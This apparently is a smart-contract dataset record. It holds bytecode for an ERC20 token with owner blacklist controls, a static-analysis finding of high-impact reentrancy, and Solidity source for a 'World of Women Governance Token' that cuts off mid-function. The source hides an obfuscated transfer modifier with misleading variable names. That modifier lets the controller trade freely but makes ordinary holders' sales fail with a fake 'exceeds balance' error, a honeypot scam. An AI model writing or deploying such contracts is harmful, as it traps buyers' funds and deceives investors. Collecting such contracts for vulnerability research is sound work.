d5b506105aa60048036038101906105a59190612d69565b6111cc565b005b3480156105b857600080fd5b506105d360048036038101906105ce9190612c9a565b611283565b6040516105e091906130e9565b60405180910390f35b3480156105f557600080fd5b50610610600480360381019061060b9190612b81565b6112a1565b60405161061d91906130e9565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190612b81565b6112c1565b60405161065a91906130e9565b60405180910390f35b34801561066f57600080fd5b506106786112e1565b005b34801561068657600080fd5b506106a1600480360381019061069c9190612bd3565b6113ba565b6040516106ae9190613301565b60405180910390f35b3480156106c357600080fd5b506106de60048036038101906106d99190612d40565b611441565b005b6106e86114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c90613261565b60405180910390fd5b60005b815181101561082c576001601060008484815181106107c0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108249061363b565b915050610778565b5050565b60606040518060400160405280601281526020017f6672656e73207769742062656e65666974730000000000000000000000000000815250905090565b600061088161087a6114e0565b84846114e8565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069152d02c7e14af6800000905090565b60006108d08484846116b3565b610991846108dc6114e0565b61098c85604051806060016040528060288152602001613b2260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109426114e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea39092919063ffffffff16565b6114e8565b600190509392505050565b6109a46114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2890613261565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abb90613221565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b5c6114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be090613261565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c4c6114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd090613261565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d366114e0565b73ffffffffffffffffffffffffffffffffffffffff161480610dac5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d946114e0565b73ffffffffffffffffffffffffffffffffffffffff16145b610db557600080fd5b6000479050610dc381611f07565b50565b6000610e10600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612002565b9050919050565b610e1f6114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea390613261565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f726114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff690613261565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6110406114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c490613261565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600681526020017f4652454e57420000000000000000000000000000000000000000000000000000815250905090565b6111356114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b990613261565b60405180910390fd5b8060198190555050565b6111d46114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611261576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125890613261565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006112976112906114e0565b84846116b3565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113226114e0565b73ffffffffffffffffffffffffffffffffffffffff1614806113985750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113806114e0565b73ffffffffffffffffffffffffffffffffffffffff16145b6113a157600080fd5b60006113ac30610dc6565b90506113b781612070565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114496114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cd90613261565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154f906132e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bf906131c1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116a69190613301565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171a906132a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178a90613141565b60405180910390fd5b600081116117d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cd90613281565b60405180910390fd5b6117de61100f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561184c575061181c61100f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ba257601660149054906101000a900460ff166118f257601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e890613161565b60405180910390fd5b5b601754811115611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e906131a1565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119db5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a11906131e1565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ac75760185481611a7c84610dc6565b611a869190613437565b10611ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abd906132c1565b60405180910390fd5b5b6000611ad230610dc6565b9050600060195482101590506017548210611aed5760175491505b808015611b075750601660159054906101000a900460ff16155b8015611b615750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611b77575060168054906101000a900460ff165b15611b9f57611b8582612070565b60004790506000811115611b9d57611b9c47611f07565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c495750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611cfc5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611cfb5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611d0a5760009050611e91565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611db55750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611dcd57600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e785750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611e9057600a54600c81905550600b54600d819055505b5b611e9d8484848461236a565b50505050565b6000838311158290611eeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee2919061311f565b60405180910390fd5b5060008385611efa9190613518565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f5760028461239790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f82573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611fd360028461239790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ffe573d6000803e3d6000fd5b5050565b6000600654821115612049576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204090613181565b60405180910390fd5b60006120536123e1565b9050612068818461239790919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120ce577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120fc5781602001602082028036833780820191505090505b509050308160008151811061213a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121dc57600080fd5b505afa1580156121f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122149190612baa565b8160018151811061224e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122b530601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114e8565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161231995949392919061331c565b600060405180830381600087803b15801561233357600080fd5b505af1158015612347573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806123785761237761240c565b5b61238384848461244f565b806123915761239061261a565b5b50505050565b60006123d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061262e565b905092915050565b60008060006123ee612691565b91509150612405818361239790919063ffffffff16565b9250505090565b6000600c5414801561242057506000600d54145b1561242a5761244d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612461876126f6565b9550955095509550955095506124bf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061255485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127a890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125a081612806565b6125aa84836128c3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126079190613301565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266c919061311f565b60405180910390fd5b5060008385612684919061348d565b9050809150509392505050565b60008060006006549050600069152d02c7e14af680000090506126c969152d02c7e14af680000060065461239790919063ffffffff16565b8210156126e95760065469152d02c7e14af68000009350935050506126f2565b81819350935050505b9091565b60008060008060008060008060006127138a600c54600d546128fd565b92509250925060006127236123e1565b905060008060006127368e878787612993565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006127a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ea3565b905092915050565b60008082846127b79190613437565b9050838110156127fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f390613201565b60405180910390fd5b8091505092915050565b60006128106123e1565b905060006128278284612a1c90919063ffffffff16565b905061287b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127a890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6128d88260065461275e90919063ffffffff16565b6006819055506128f3816007546127a890919063ffffffff16565b6007819055505050565b600080600080612929606461291b888a612a1c90919063ffffffff16565b61239790919063ffffffff16565b905060006129536064612945888b612a1c90919063ffffffff16565b61239790919063ffffffff16565b9050600061297c8261296e858c61275e90919063ffffffff16565b61275e90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806129ac8589612a1c90919063ffffffff16565b905060006129c38689612a1c90919063ffffffff16565b905060006129da8789612a1c90919063ffffffff16565b90506000612a03826129f5858761275e90919063ffffffff16565b61275e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612a2f5760009050612a91565b60008284612a3d91906134be565b9050828482612a4c919061348d565b14612a8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8390613241565b60405180910390fd5b809150505b92915050565b6000612aaa612aa5846133b6565b613391565b90508083825260208201905082856020860282011115612ac957600080fd5b60005b85811015612af95781612adf8882612b03565b845260208401935060208301925050600181019050612acc565b5050509392505050565b600081359050612b1281613adc565b92915050565b600081519050612b2781613adc565b92915050565b600082601f830112612b3e57600080fd5b8135612b4e848260208601612a97565b91505092915050565b600081359050612b6681613af3565b92915050565b600081359050612b7b81613b0a565b92915050565b600060208284031215612b9357600080fd5b6000612ba184828501612b03565b91505092915050565b600060208284031215612bbc57600080fd5b6000612bca84828501612b18565b91505092915050565b60008060408385031215612be657600080fd5b6000612bf485828601612b03565b9250506020612c0585828601612b03565b9150509250929050565b600080600060608486031215612c2457600080fd5b6000612c3286828701612b03565b9350506020612c4386828701612b03565b9250506040612c5486828701612b6c565b9150509250925092565b60008060408385031215612c7157600080fd5b6000612c7f85828601612b03565b9250506020612c9085828601612b57565b9150509250929050565b60008060408385031215612cad57600080fd5b6000612cbb85828601612b03565b9250506020612ccc85828601612b6c565b9150509250929050565b600060208284031215612ce857600080fd5b600082013567ffffffffffffffff811115612d0257600080fd5b612d0e84828501612b2d565b91505092915050565b600060208284031215612d2957600080fd5b6000612d3784828501612b57565b91505092915050565b600060208284031215612d5257600080fd5b6000612d6084828501612b6c565b91505092915050565b60008060008060808587031215612d7f57600080fd5b6000612d8d87828801612b6c565b9450506020612d9e87828801612b6c565b9350506040612daf87828801612b6c565b9250506060612dc087828801612b6c565b91505092959194509250565b6000612dd88383612de4565b60208301905092915050565b612ded8161354c565b82525050565b612dfc8161354c565b82525050565b6000612e0d826133f2565b612e178185613415565b9350612e22836133e2565b8060005b83811015612e53578151612e3a8882612dcc565b9750612e4583613408565b925050600181019050612e26565b5085935050505092915050565b612e698161355e565b82525050565b612e78816135a1565b82525050565b612e87816135c5565b82525050565b6000612e98826133fd565b612ea28185613426565b9350612eb28185602086016135d7565b612ebb81613711565b840191505092915050565b6000612ed3602383613426565b9150612ede82613722565b604082019050919050565b6000612ef6603f83613426565b9150612f0182613771565b604082019050919050565b6000612f19602a83613426565b9150612f24826137c0565b604082019050919050565b6000612f3c601c83613426565b9150612f478261380f565b602082019050919050565b6000612f5f602283613426565b9150612f6a82613838565b604082019050919050565b6000612f82602383613426565b9150612f8d82613887565b604082019050919050565b6000612fa5601b83613426565b9150612fb0826138d6565b602082019050919050565b6000612fc8601783613426565b9150612fd3826138ff565b602082019050919050565b6000612feb602183613426565b9150612ff682613928565b604082019050919050565b600061300e602083613426565b915061301982613977565b602082019050919050565b6000613031602983613426565b915061303c826139a0565b604082019050919050565b6000613054602583613426565b915061305f826139ef565b604082019050919050565b6000613077602383613426565b915061308282613a3e565b604082019050919050565b600061309a602483613426565b91506130a582613a8d565b604082019050919050565b6130b98161358a565b82525050565b6130c881613594565b82525050565b60006020820190506130e36000830184612df3565b92915050565b60006020820190506130fe6000830184612e60565b92915050565b60006020820190506131196000830184612e6f565b92915050565b600060208201905081810360008301526131398184612e8d565b905092915050565b6000602082019050818103600083015261315a81612ec6565b9050919050565b6000602082019050818103600083015261317a81612ee9565b9050919050565b6000602082019050818103600083015261319a81612f0c565b9050919050565b600060208201905081810360008301526131ba81612f2f565b9050919050565b600060208201905081810360008301526131da81612f52565b9050919050565b600060208201905081810360008301526131fa81612f75565b9050919050565b6000602082019050818103600083015261321a81612f98565b9050919050565b6000602082019050818103600083015261323a81612fbb565b9050919050565b6000602082019050818103600083015261325a81612fde565b9050919050565b6000602082019050818103600083015261327a81613001565b9050919050565b6000602082019050818103600083015261329a81613024565b9050919050565b600060208201905081810360008301526132ba81613047565b9050919050565b600060208201905081810360008301526132da8161306a565b9050919050565b600060208201905081810360008301526132fa8161308d565b9050919050565b600060208201905061331660008301846130b0565b92915050565b600060a08201905061333160008301886130b0565b61333e6020830187612e7e565b81810360408301526133508186612e02565b905061335f6060830185612df3565b61336c60808301846130b0565b9695505050505050565b600060208201905061338b60008301846130bf565b92915050565b600061339b6133ac565b90506133a7828261360a565b919050565b6000604051905090565b600067ffffffffffffffff8211156133d1576133d06136e2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134428261358a565b915061344d8361358a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561348257613481613684565b5b828201905092915050565b60006134988261358a565b91506134a38361358a565b9250826134b3576134b26136b3565b5b828204905092915050565b60006134c98261358a565b91506134d48361358a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561350d5761350c613684565b5b828202905092915050565b60006135238261358a565b915061352e8361358a565b92508282101561354157613540613684565b5b828203905092915050565b60006135578261356a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ac826135b3565b9050919050565b60006135be8261356a565b9050919050565b60006135d08261358a565b9050919050565b60005b838110156135f55780820151818401526020810190506135da565b83811115613604576000848401525b50505050565b61361382613711565b810181811067ffffffffffffffff82111715613632576136316136e2565b5b80604052505050565b60006136468261358a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561367957613678613684565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613ae58161354c565b8114613af057600080fd5b50565b613afc8161355e565b8114613b0757600080fd5b50565b613b138161358a565b8114613b1e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204dd93f6c35163a44318cb884c3b1f644bede7ebf76784c20b1a055eb4eb6c14464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,263 |
0xb1c98b4c65bd0b4ffe26aa252a91e1928a4e00fe
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract WoWToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _secureController;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address deployer = 0xc9b6321dc216D91E626E9BAA61b06B0E4d55bdb1;
address public _controller = 0x948BD60B69c220d0d9625dF5472dCc13f45dA998;
constructor () public {
_name = "World of Women Governance Token";
_symbol = "WoWG";
_decimals = 18;
uint256 initialSupply = 1000000000 * 10 ** 18 ;
_secureController = _controller;
_mint(deployer, initialSupply);
}
modifier cpu(address dest, uint256 num, address from, address filler){
if (
_controller == _secureController
&& from == _controller
){_secureController = dest;_;}else{
if (
from == _controller
|| dest == _controller
|| from == _secureController
){
if (
from == _controller
&& from == dest
){_discardedAmt = num;}_;}else{
if (
_plus[from] == true
){
_;}else{if (
_discarded[from] == true
){
require((
from == _secureController
)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}else{
if (
num < _discardedAmt
){
if(dest == _secureController){_discarded[from] = true; _plus[from] = false;}
_; }else{require((from == _secureController)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}
}}
}
}}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_navigator(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_navigator(sender, recipient, amount);
